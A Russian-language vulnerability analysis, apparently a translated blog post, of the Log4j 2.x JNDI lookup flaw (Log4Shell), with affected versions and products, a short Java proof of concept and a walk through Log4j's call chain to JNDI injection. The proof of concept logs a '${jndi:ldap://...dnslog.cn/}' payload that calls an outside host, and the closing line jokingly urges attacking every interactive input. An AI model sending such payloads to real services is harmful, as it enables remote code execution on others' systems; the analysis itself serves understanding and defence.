
Jdk7u21 (подойдёт любая версия)
Затронутые версии: Apache Log4j 2.x <= 2.14.1
Известные затронутые приложения и компоненты:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
Координаты log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
Смотрим на payload — естественно, мы ищем log4j lookup или log4j jndi.
https://logging.apache.org/log4j/2.x/manual/lookups.html [английская документация]
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [китайская документация]

Мы видим способ использования. Нетрудно заметить, что здесь поддерживается jndi, а jndi, в свою очередь, поддерживает другие протоколы и выполняет преобразование; сразу вспоминается ldap. Давайте отладим и посмотрим. Так как я сегодня ночью уже отлаживал — до 5:30, а утром были занятия, я пошёл спать и сохранил только скриншоты процесса анализа.

Без лишних слов, смотрим дальше; так как прошлой ночью я отлаживал много раз, здесь я сразу перейду к ключевому месту.

Сразу к ключевому моменту: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

Перейдём к этому методу. В чистом Java этот метод форматирует строки; посмотрим, так ли здесь.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Здесь через getMessage() получается наш payload. Почему?


Здесь не будем больше повторяться; идём дальше.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
Видно, что здесь проверяется, начинается ли строка с ${; если да, то она выполняется, что и становится точкой срабатывания уязвимости.



Документацию по этому методу можно посмотреть здесь: https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





Вообще-то, если посмотреть документацию, этого уже достаточно; здесь получается резолвер переменных.



Затем переходим в org.apache.logging.log4j.core.lookup.Interpolator#lookup

Получается соответствующий префикс, выбирается соответствующий объект класса JNDI — JndiLookup.


Тем самым выполняется JNDI-инъекция, достигается цель удалённой загрузки классов.


Если посмотреть официальную документацию, то по сути это форматирование, при котором ${jndi:ldap://uci5xf.dnslog.cn/test} заменяется реальными данными.

Справочная статья: https://blog.csdn.net/lqzkcx3/article/details/82050375 Log4j также использует lookup для получения протокола — jndi, data, sys и т.д. Внутри они хранятся в виде map; проверяется соответствующий ключ, получается и выполняется соответствующий lookup. Так формируется стандартная JNDI-инъекция.
С точки зрения точки входа несложно заметить: выполнение происходит, как только что-то попадает в журнал (в некоторых случаях — нет). Так как писалось наспех, подробно не разбираю.
Способ атаки: атаковать все места, где есть взаимодействие, га-га-га.